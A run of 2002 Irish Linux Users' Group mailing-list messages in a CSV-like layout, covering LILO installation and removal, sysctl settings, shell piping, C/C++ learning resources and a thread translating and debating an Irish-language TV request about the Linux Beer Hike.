http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= ,"""Patton, Tony"" ","Tue, 30 Jul 2002 13:25:36 +0100",Re: [ILUG] Fwd: Linux Beer Hike,"On Tue, Jul 30, 2002 at 01:17:25PM +0100, Patton, Tony wrote: > On Tue, 2002-07-30 at 10:06, Donncha O Caoimh wrote: > > Ar mhaith le einne anseo caint le TG4 faoin LBW? > > > > Donncha. > > > > ----8< > > > T m ag danamh taighde don clr teilifse An Tuath Nua (a bhonn > > chraoladh ar TG4) faoi lthair, agus chonaic m go mbedih an Linux Beer > > Hike ar sil i Doolin i mbliana. Bheadh spis againn mr a dhanamh mar > > gheall ar an Hike ar an gclr - an mbeidh t fin n aon duine eile le > > Gaeilge ar an Hike go bhfios duit? > > > > Go raibh maith agat as do chabhair, > > > > ---->8 > > Can someone translate this for me? Lost all sense of Irish when moved > over the border about 10 years ago. Not by choice mind you :-( ""Currently, I am doing some research for the telivision programme ""An Tuath Nua"" (which is broadcast by TG4) , and I saw that the Linux Beer Hike will be in Doolin this year. We'd be intrested in including a report on the hike in the programme - will yourself or anyone else with Irish be on the Hike do you know ? Thanks for your help."" -- colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie Web: http://devnull.redbrick.dcu.ie/ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,Irish LUG ,"Tue, 30 Jul 2002 14:33:11 +0200",Re: [ILUG] Fwd: Linux Beer Hike,"Patton, Tony wrote: > On Tue, 2002-07-30 at 10:06, Donncha O Caoimh wrote: > > Ar mhaith le einne anseo caint le TG4 faoin LBW? > > > > Donncha. > > > > ----8< > > > T m ag danamh taighde don clr teilifse An Tuath Nua (a bhonn > > chraoladh ar TG4) faoi lthair, agus chonaic m go mbedih an Linux Beer > > Hike ar sil i Doolin i mbliana. Bheadh spis againn mr a dhanamh mar > > gheall ar an Hike ar an gclr - an mbeidh t fin n aon duine eile le > > Gaeilge ar an Hike go bhfios duit? > > > > Go raibh maith agat as do chabhair, > > > > ---->8 > > Can someone translate this for me? Lost all sense of Irish when moved > over the border about 10 years ago. Not by choice mind you :-( In short, ""I'm involved in making a TV program ""The New Road"" (which will be on TG4) at the moment, and I saw that there'll be a Linux Beer Hike in Doolin this year. We'd be delighted to do a report about the hike for the programme - will yourself or anyone else with Irish be on the hike? Thanks for the help, A chara, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= ,"Niall O Broin , ilug@linux.ie","Tue, 30 Jul 2002 15:53:35 +0100",Re: [ILUG] Installing lilo on another disk.,"On Tue, Jul 30, 2002 at 03:47:40PM +0100, Niall O Broin wrote: > I'm installing warm standby disks on a number of boxes. These disks will be > the same size (sometimes bigger) than the main disk. The idea is that every > night I'll rsync the partitions on the main disk to the standby disk so that > in the case of disaster, the first port of call, before the tapes, is the > standby disk. (We did consider running Linux md RAID on the disks but RAID > gives you no protection against slips of the finger) actually, on a related note, has anyone tried snapfs ? > Unfortunately suck and it and see is rather tricky - the machines concerned > are not to hand. just keep root as hda, you can change boot all you want, that's where it will get written when you run lilo from the prompt. just have a sane lilo.conf (with root=/dev/hda) and use lilo -b to write to different devices. -- colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie Web: http://devnull.redbrick.dcu.ie/ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Patton, Tony"" ",Irish LUG ,30 Jul 2002 16:07:47 +0100,Re: [ILUG] Fwd: Linux Beer Hike,"On Tue, 2002-07-30 at 13:17, Patton, Tony wrote: 8< > > Can someone translate this for me? Lost all sense of Irish when moved > over the border about 10 years ago. Not by choice mind you :-( > 8< Thanks to all who replied. Are there many from this list going to the LBW? I am trying to get the thursday and friday off work to get to it. Looking doubtful as it is very near the start of term. Bloody academic institutes :-). it only going to take me about 6 hours or so to get there :-( -- +------------------------------------+---------------------------------+ | Tony Patton | | | MIS Software Developer/*nix | Tel : +44 28 7127 6443 | | Systems Administrator | Fax : +44 28 7126 0520 | | North West Institute of F & H.E. | Mob : +44 7764 905 955 | | Strand Road | | | Derry | ICQ# : 113 069 081 | | BT48 7BY | | +------------------------------------+---------------------------------+ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ronan Cunniffe ,ilug@linux.ie,"Tue, 30 Jul 2002 19:35:20 +0100",Re: [ILUG] Installing lilo on another disk.,"Quoting Niall O Broin : > I'm installing warm standby disks on a number of boxes. These disks will be > the same size (sometimes bigger) than the main disk. The idea is that every > night I'll rsync the partitions on the main disk to the standby disk so > that > in the case of disaster, the first port of call, before the tapes, is the > standby disk. (We did consider running Linux md RAID on the disks but RAID > gives you no protection against slips of the finger) Do I get beaten round the head for saying ""floppy""? Assuming the machines are networked, let each one send a copy of its kernel to the others. If the drives are open-the-box-and-switch-cables, then you can start dd'ing a floppy before you start. If the drives are in drawers, then this might slow you down by all of 60 seconds. Alternatively, you could use netboot. No, I'm serious. Set the boot sequence to first hard disk then network. Do NOT make any partition on the standby active. Have a look at the etherboot package. One of the things it contains is a pascal-ish language for writing boot menus. You can write a one-liner that basically says ""boot /dev/hda1"" (or whatever, there's example code). IIRC, the resulting ""bootable image"" is a whopping 4K. The downside is you'll need a bootp and tftp server somewhere.... hth, Ronan. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 John Gay ,ilug@linux.ie,"Mon, 29 Jul 2002 22:51:44 +0100",[ILUG] RE: When is a WAV not a WAV? ANS: It is?!?,"Well, after playing around with these strange wav files I realised I didn't even have sox installed. A quick apt-get install sox fixed this. Sox does reconise these AND even plays them in stereo! Following info from the CD-Writing HOW-TO I used sox to convert the Sgt Pepper's wav to cdr and wrote it to CD and now I've got a CD with ONE track that is the entire Sgt Peppers Album! Not too sure how over 500M of cdr reduces to only 51M of wav file but there it is?!?! And I've got loads of Beatles Albums and singles in these strange wav files! KEWL! Now I don't need to go buying them! Cheers, John Gay -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'Patton, Tony'"" ,","Wed, 31 Jul 2002 09:55:40 +0100",RE: [ILUG] Fwd: Linux Beer Hike,"I am the evil one, you will respect my authoritai ;--) Sorry, but I couldn't resist, I must say that mails like this really impress me. coz I have pretty much no Irish at all, although my wee Girl starts Gaelscoil in September so there hope for me yet :) Much Respect to the Gaeilgors out there. CW ------------------- mar > gheall ar an Hike ar an gclr - an mbeidh t fin n aon duine eile le > Gaeilge ar an Hike go bhfios duit? > > Go raibh maith agat as do chabhair, > ---->8 Can someone translate this for me? Lost all sense of Irish when moved over the border about 10 years ago. Not by choice mind you :-( -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kenn Humborg"" ",,"Wed, 31 Jul 2002 10:58:47 +0100",RE: [ILUG] Installing lilo on another disk.,"> I thought perhaps I should just do lilo -b /dev/hdb -r /mnt but I think > that -b is analogous to the boot keyword in lilo.conf. Or will this just > work automagically ? i.e. boot = /dev/hda tells lilo what numbers to poke > where, and it figures out where the disk is from the -r ? That won't work like you want. You'll end up with a boot loader on the backup disk that contains the 'physical' location of the /boot/map file on the main disk. That won't necessarily be the same as the backup disk. I can't think of a right way to do his with LILO. I've got a similar seup on my home machine (rsync to a backup disk every night), but I'll be pulling out the RH install CDs to get LILO sorted if I have to do a disk swap. GRUB should be able to handle this no problem, since it doesn't record sector numbers like LILO does. Not much help for you though... Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,ILUG (Request) ,"Wed, 31 Jul 2002 04:43:56 -0600",[ILUG] C++ and C Mailing Lists for Beginners and Advanced,"Are there any mailing lists (non-newsgroups) for C++ and C Beginners and Advanced programmers? Links are welcomed! -- Note: When you reply to this message, please include the mailing list/newsgroup address and my email address in To:. ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Satelle, StevenX"" ","""'Wynne, Conor'"" ,","Wed, 31 Jul 2002 11:28:05 +0100",RE: [ILUG] Fwd: Linux Beer Hike,"When I was in school they pushed Irish down my throat. I developed a hatred for Irish. I did French for 3 years and German for 6 months, I could (almost) hold a basic conversation. I am proud of the fact that I don't know one word of Irish. -----Original Message----- From: Wynne, Conor [mailto:conor_wynne@maxtor.com] Sent: 31 July 2002 09:56 To: 'Patton, Tony'; Irish LUG Subject: RE: [ILUG] Fwd: Linux Beer Hike I am the evil one, you will respect my authoritai ;--) Sorry, but I couldn't resist, I must say that mails like this really impress me. coz I have pretty much no Irish at all, although my wee Girl starts Gaelscoil in September so there hope for me yet :) Much Respect to the Gaeilgors out there. CW ------------------- mar > gheall ar an Hike ar an gclr - an mbeidh t fin n aon duine eile le > Gaeilge ar an Hike go bhfios duit? > > Go raibh maith agat as do chabhair, > ---->8 Can someone translate this for me? Lost all sense of Irish when moved over the border about 10 years ago. Not by choice mind you :-( -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,Irish LUG ,"Wed, 31 Jul 2002 12:44:59 +0200",Re: [ILUG] Fwd: Linux Beer Hike,"Satelle, StevenX wrote: > When I was in school they pushed Irish down my throat. I developed a hatred > for Irish. I did French for 3 years and German for 6 months, I could > (almost) hold a basic conversation. I am proud of the fact that I don't know > one word of Irish. Well, I'm hardly a Gaeilgir, but in general I wouldn't consider either ability or inability in a language something to be proud of... maybe it's just me, but I'm not proud that I can't speak Italian, no more than I'm proud that I can speak French or English. Cheers, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,ILUG ,"Wed, 31 Jul 2002 12:51:29 +0200",Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced,"SoloCDM wrote: > Are there any mailing lists (non-newsgroups) for C++ and C Beginners > and Advanced programmers? Try the following newsgroups - Beginners: news:comp.lang.learn.c-c++ More advanced: news:comp.lang.c news:comp.lang.c++ news:comp.lang.c.moderated Also, you should keep a bookmark pointing at the comp.lang.c FAQ at http://www.eskimo.com/~scs/C-faq/top.html For tutorials, the guy who maintains the clc FAQ (Steve Summit) has a tutorial - http://www.eskimo.com/~scs/cclass/notes/top.html Also you could have a look at the excercises he poses - all linked from http://www.eskimo.com/~scs/cclass/cclass.html For C++, I would guess that the comp.lang.c++ FAQ is a good place to start - they're likely to have links to suggested reading material. If you're going to do any amount of C programming, you should think about getting K&R2 (The C programming language, 2nd edition, by Kernighan and Ritchie), for C++ the equivalent book is Stroustrup. Although the C++ book is a lot bigger :) Hope this helps, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG ,"Wed, 31 Jul 2002 11:43:49 +0100",Re: [ILUG] Fwd: Linux Beer Hike,"On Wed, Jul 31, 2002 at 11:28:05AM +0100, Satelle, StevenX mentioned: > When I was in school they pushed Irish down my throat. I developed a hatred > for Irish. I did French for 3 years and German for 6 months, I could > (almost) hold a basic conversation. I am proud of the fact that I don't know > one word of Irish. Sad, that. I felt like that till recently, but now wish that it wasn't rammed down my throat like worming tablets. If they hadn't, it is very possible I'd be an Irish speaker. John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """David O'Callaghan"" ",Irish LUG ,"Wed, 31 Jul 2002 11:54:30 +0100",Re: [ILUG] Fwd: Linux Beer Hike,"On Wed, Jul 31, 2002 at 11:28:05AM +0100, Satelle, StevenX wrote: > When I was in school they pushed Irish down my throat. I developed a hatred > for Irish. I did French for 3 years and German for 6 months, I could > (almost) hold a basic conversation. I am proud of the fact that I don't know > one word of Irish. Going rapidly OT here, but I find it shocking that anybody could be proud of not knowing something. It's like the tourist on holidays using that speak-loudly-enough-and-they-will-understand technique or (slightly less off-topic) the friend or relative who says ""I know nothing about computers!"" and clearly doesn't intend to learn, and is happy to let you clean up after them. I certainly agree that Irish is not taught all that well (or wasn't when I was in school) but I'd like to be able to relearn it and to count it as one of my skills. David -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ILUG ,"Wed, 31 Jul 2002 11:53:38 +0100",Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced,"On Wed, Jul 31, 2002 at 12:51:29PM +0200, David Neary wrote: > Also, you should keep a bookmark pointing at the comp.lang.c FAQ at > http://www.eskimo.com/~scs/C-faq/top.html and don't forget the c iaq. that's here: http://www.plethora.net/~seebs/faqs/c-iaq.html an example: 1.3: If I write the code int i, j; can I assume that (&i + 1) == &j? Only sometimes. It's not portable, because in EBCDIC, i and j are not adjacent. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 caolan@csn.ul.ie (Caolan McNamara),ILUG ,"Wed, 31 Jul 2002 12:22:03 +0100",Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced,"On Wed, Jul 31, 2002 at 12:51:29 +0200, David Neary wrote: > SoloCDM wrote: > > Are there any mailing lists (non-newsgroups) for C++ and C Beginners > > and Advanced programmers? > > For C++, I would guess that the comp.lang.c++ FAQ is a good place > to start - they're likely to have links to suggested reading > material. > > If you're going to do any amount of C programming, you should > think about getting K&R2 (The C programming language, 2nd > edition, by Kernighan and Ritchie), for C++ the equivalent book > is Stroustrup. Although the C++ book is a lot bigger :) For C++, guru of the week at http://www.gotw.ca/gotw/index.htm (can get them in book form and with extra material as Herb Sutters Essential C++ and More Essential C++) is a good resource. Scott Meyers Effective C++, More Effective C++ and Effective STL are truly handy books. I always felt that The C++ faq wasn't as good as the C faq, but it lives at http://www.parashift.com/c++-faq-lite/ C. -- Caolan McNamara | caolan@skynet.ie http://www.skynet.ie/~caolan | +353 86 8161184 Verbing weirds language -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG ,"Wed, 31 Jul 2002 12:25:41 +0100",Re: [ILUG] Fwd: Linux Beer Hike,"On Wed, Jul 31, 2002 at 12:02:01PM +0100, Satelle, StevenX mentioned: > I dislike being forced to learn something and mostly refuse to do it. Did you burn yourself often, as a child ? John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Satelle, StevenX"" ","""'ilug@linux.ie'"" ","Wed, 31 Jul 2002 12:33:17 +0100",RE: [ILUG] Fwd: Linux Beer Hike,"I have 3rd degree burn scars on both hands. I can hold that match if I want to :-) -----Original Message----- From: John P. Looney [mailto:valen@tuatha.org] Sent: 31 July 2002 12:26 To: Irish LUG Subject: Re: [ILUG] Fwd: Linux Beer Hike On Wed, Jul 31, 2002 at 12:02:01PM +0100, Satelle, StevenX mentioned: > I dislike being forced to learn something and mostly refuse to do it. Did you burn yourself often, as a child ? John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ronan Cunniffe ,Irish Linux Users Group ,"Wed, 31 Jul 2002 15:13:23 +0100",Re: [ILUG] Piping to multiple processes (which might die)?,"Quoting Brian Foster : > | I did the following: > | > 1| $ mkfifo f1 > 2| $ lav2yuv capture.avi | yuvdenoise | tee f1 | mpeg2enc blah blah & > 3| $ cat f1 | mpeg2enc different blah blah > | > | And hey! It works! Until somebody dies! Yippe... oh. [ ... ] > > ( a winner of the Useless Use of cat(1) Award: you don't need > the `cat f1 |' in the 3rd line, a simple ` upshot is a POSIX.2 `tee' would probably spit out an error > message if one of the `mpeg2enc's dies, but the remaining > one would continue to be fed data and hence run until it > either completes or dies for reasons of its own. which is > exactly what you want! so what is happening?? Oops. Um, my test was to tee to a fifo I didn't read from... resulting in the other reader hanging around forever.... not realising that never-opened-for-reading and opened-and-later-closed might be different. Sensible behaviour has now been observed. > incidently, if your shell and system both support process > redirection, you could do the above as a one-liner. syntax > varies depending on the shell, but in bash(1) and ksh(1): > > lav2yuv capture.avi | yuvdenoise | \ > tee >(mpeg2enc different blah blah) | mpeg2enc blah blah mpeg2enc generates stats during the run, so I give each one an xterm. Thanks, Ronan -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Wed, 31 Jul 2002 16:22:11 +0100",[ILUG] sysctl.conf,"OK, I guess that sysctl.conf is the best way of setting /proc/sys/fs/file-max to a nice big number. Can you make a change to /etc/sysctl.conf, and then have it take effect, without a reboot (to test it, really) ? John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kenn Humborg"" ",,"Wed, 31 Jul 2002 16:24:17 +0100",RE: [ILUG] sysctl.conf,"> OK, I guess that sysctl.conf is the best way of setting > > /proc/sys/fs/file-max > > to a nice big number. Can you make a change to /etc/sysctl.conf, and then > have it take effect, without a reboot (to test it, really) ? man sysctl # sysctl -p Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,ilug@linux.ie,"Wed, 31 Jul 2002 16:22:31 +0100",Re: [ILUG] sysctl.conf,"John P. Looney wrote: > OK, I guess that sysctl.conf is the best way of setting > > /proc/sys/fs/file-max > > to a nice big number. Can you make a change to /etc/sysctl.conf, and then > have it take effect, without a reboot (to test it, really) ? > > John > > Have a look at the manual page for the sysctl command? Cheers, Waider. -- waider@waider.ie / Yes, it /is/ very personal of me -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Wed, 31 Jul 2002 16:27:28 +0100",Re: [ILUG] sysctl.conf,"On Wed, Jul 31, 2002 at 04:24:17PM +0100, Kenn Humborg mentioned: > man sysctl > # sysctl -p Ah right. Actually, sysctl -a was more helpful - shows why setting sys.fs.files-nr didn't work.. KAte -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug@linux.ie,"Wed, 31 Jul 2002 16:37:42 +0100",Re: [ILUG] sysctl.conf,"John P. Looney wrote: > OK, I guess that sysctl.conf is the best way of setting > > /proc/sys/fs/file-max cat 20480 > /proc/sys/fs/file-max ta dah... Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John Reilly"" ",,"Wed, 31 Jul 2002 16:53:15 +0100",Re: [ILUG] removing lilo,"Lacking a DOS boot disk, I just looked for a different way to do it yesterday. You can use lilo -u /dev/hda Sourced via google search ""remove lilo"" which returned http://support.microsoft.com/default.aspx?scid=KB;EN-US;q315224& Much handier if you only have tomsrtbt or something similar. jr ----- Original Message ----- From: ""jac1"" To: Sent: Wednesday, July 31, 2002 2:30 PM Subject: [ILUG] removing lilo > hi, > i recently had to wipe linux from my pc but forgot to restore the original > MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot > floppy. formatting the entire disk doesn't do it either. > > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'jac1'"" , ilug@linux.ie","Wed, 31 Jul 2002 17:08:18 +0100",RE: [ILUG] removing lilo,"""Good"" ol dos fdisk /mbr should do the twick But...but... Jac, your a big linux head....why? regards, CW ------------ hi, i recently had to wipe linux from my pc but forgot to restore the original MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot floppy. formatting the entire disk doesn't do it either. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gavin McCullagh ,irish linux users group ,"Wed, 31 Jul 2002 17:26:11 +0100",Re: [ILUG] Re: Mutt + Outbox,"On Sat, 27 Jul 2002, kevin lyda wrote: > saw this on mutt users. might be a handy trick for those of with > hyperactive archiving genes... :) > > this might work better in this long run though: > > set record='~/Mail/outbox-`date ""+%Y-%m""`' A nice followon of this for the obsessive archiver is: Procmail: .procmail/rc.mail :0: * ^Subject.*\[ILUG\] :ilug-`date ""+%m-%Y""` and Mutt: .muttrc: mailboxes =ilug-`date ""+%m-%Y""` does mean threads get broken at the start of the month though :( Gavin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,"""Hunt, Bryan"" ","Wed, 31 Jul 2002 10:48:16 -0600",[ILUG] Re: removing lilo,"""Hunt, Bryan"" stated the following: > > you need to do a ""fdisk /mbr"" from a bootable windoze floppy > alternatively boot from linux boot disk and do fdisk, delete all partitions. I need to ask a question concerning this issue. What if I don't want to get rid of the MBR -- it will destroy the OS on that drive. How do I remove lilo without the above fdisk procedure? > -----Original Message----- > From: jac1 [mailto:jac1@student.cs.ucc.ie] > > i recently had to wipe linux from my pc but forgot to restore the original > MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot > floppy. formatting the entire disk doesn't do it either. -- Note: When you reply to this message, please include the mailing list/newsgroup address and my email address in To:. ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Askins ,"deedsmis@aculink.net, ilug@linux.ie","Wed, 31 Jul 2002 17:34:40 +0100",Re: [ILUG] Re: removing lilo,"""fdisk /mbr"" will not destroy the OS, it will simply restore the windows mbr as it was. Running fdisk and deleting a partition would however destroy the OS (bu even then only if you format the disc afterwards). Sure wasn't it SoloCDM sometime around Wed, 31 Jul 2002 10:48:16 -0600 said: > I need to ask a question concerning this issue. > > What if I don't want to get rid of the MBR -- it will destroy the OS > on that drive. How do I remove lilo without the above fdisk > procedure? > -- Paul Askins <:) Email: Paul Askins Behind every great man, there is a woman -- urging him on. -- Harry Mudd, ""I, Mudd"", stardate 4513.3 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Liam Bedford ,"deedsmis@aculink.net, ilug@linux.ie","Wed, 31 Jul 2002 17:34:14 +0100",Re: [ILUG] Re: removing lilo,"On Wed, 31 Jul 2002 10:48:16 -0600 SoloCDM claiming to think: > ""Hunt, Bryan"" stated the following: > > > > you need to do a ""fdisk /mbr"" from a bootable windoze floppy > > alternatively boot from linux boot disk and do fdisk, delete all partitions. > > I need to ask a question concerning this issue. > > What if I don't want to get rid of the MBR -- it will destroy the OS > on that drive. How do I remove lilo without the above fdisk > procedure? > fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. linux fdisk and deleting all partitions will actually leave LILO in the MBR though. L. -- dBP dBBBBb | If you're looking at me to be an accountant dBP | Then you will look but you will never see dBP dBBBK' | If you're looking at me to start having babies dBP dB' db | Then you can wish because I'm not here to fool around dBBBBP dBBBBP' | Belle & Sebastian (Family Tree) -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Brian Foster ,Irish Linux Users Group ,"Wed, 31 Jul 2002 16:59:43 +0100",Re: [ILUG] Piping to multiple processes (which might die)?,"| Date: Wed, 31 Jul 2002 15:13:23 +0100 | From: Ronan Cunniffe | | Um, my test was to tee to a fifo I didn't read from... resulting | in the other reader hanging around forever.... not realising that | never-opened-for-reading and opened-and-later-closed might be | different. ah! yes! this is one of those gotchas everyone stumbles over. the writer of a never-opened-for-reading pipe will quickly block (as soon as the pipe's limited buffer fills up). but the writer of opened-and-later-closed pipe gets an EPIPE error (and the usually-terminal SIGPIPE signal). the typical stumble is someone creates an anonymous pipe with pipe(2), but forgets to close(2) the reader's fd in the writer-process (or visa-versa) .... and then wonders why the real reader never sees an EOF and/or the writer is never gets an EPIPE/SIGPIPE. various FAQs and many books probably discuss this topic in depth to the death. | Sensible behaviour has now been observed. good! and good luck. cheers, -blf- -- «How many surrealists does it take to | Brian Foster Dublin, Ireland change a lightbulb? Three. One calms | e-mail: blf@utvinternet.ie the warthog, and two fill the bathtub | mobile: (+353 or 0)86 854 9268 with brightly-coloured machine tools.» | http://www.blf.utvinternet.ie Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they don't give a damn about global warming.» http://www.stopesso.com Supported by Greenpeace, Friends of the Earth, and numerous others... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Conor Daly ,ilug@linux.ie,"Wed, 31 Jul 2002 17:24:34 +0100",Re: [ILUG] removing lilo,"On Wed, Jul 31, 2002 at 02:40:26PM +0100 or so it is rumoured hereabouts, Liam Bedford thought: > On Wed, 31 Jul 2002 14:30:01 +0100 > jac1 claiming to think: > > > hi, > > i recently had to wipe linux from my pc but forgot to restore the original > > MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot > > floppy. formatting the entire disk doesn't do it either. > > > boot from dos and fdisk /mbr? > boot from an NT CD, choose repair, and make it check the mbr ^^^^^^ Nice how NT ""repair""s a hard disk by removing other OSs. Could we call it that on Linux install disks too? Conor -- Conor Daly Domestic Sysadmin :-) --------------------- Faenor.cod.ie 5:37pm up 69 days, 2:54, 0 users, load average: 0.08, 0.02, 0.01 Hobbiton.cod.ie 5:22pm up 12 days, 0 min, 1 user, load average: 0.03, 0.03, 0.00 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,"""ILUG (Request)"" ","Wed, 31 Jul 2002 19:25:27 +0200",Re: [ILUG] Re: C++ and C Mailing Lists for Beginners and Advanced,"SoloCDM wrote: > David Neary stated the following: > > Try the following newsgroups - Beginners: news:comp.lang.learn.c-c++ > > I tried news:comp.lang.learn.c-c++ and it wouldn't work. Is there a > typo? Yup. It's alt.comp.lang.learn.c-c++ Sorry about that. I've never used the group, so I can't vouch for it's usefulness. But a few people I respect a lot direct people there for beginner type stuff. Cheers, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Conor Daly ,ilug@linux.ie,"Wed, 31 Jul 2002 17:57:01 +0100",Re: [ILUG] Installing lilo on another disk.,"On Tue, Jul 30, 2002 at 03:47:40PM +0100 or so it is rumoured hereabouts, Niall O Broin thought: > I'm installing warm standby disks on a number of boxes. These disks will be > the same size (sometimes bigger) than the main disk. The idea is that every > night I'll rsync the partitions on the main disk to the standby disk so that > in the case of disaster, the first port of call, before the tapes, is the > standby disk. (We did consider running Linux md RAID on the disks but RAID > gives you no protection against slips of the finger) > > So, in the event of finger slips we can mount the relevant partition and > retrieve the banjaxed file. In the case of a disk crash, the plan is that > we'll put the standby disk in place of the main disk and the workstation > will be back up ASAP. Then we can deal with replacing the disk without the > pressure of a broken box on our back. > > However, I'm stumped as to how to install LILO on the backup disk. Let's say > the master disk is /dev/hda and the backup disk is /dev/hdb. lilo.conf > currently looks like this: > > boot = /dev/hda > change-rules > reset > read-only > menu-scheme = Wg:kw:Wg:Wg > lba32 > prompt > timeout = 80 > message = /boot/message > > image = /boot/vmlinuz > label = linux > root = /dev/hda3 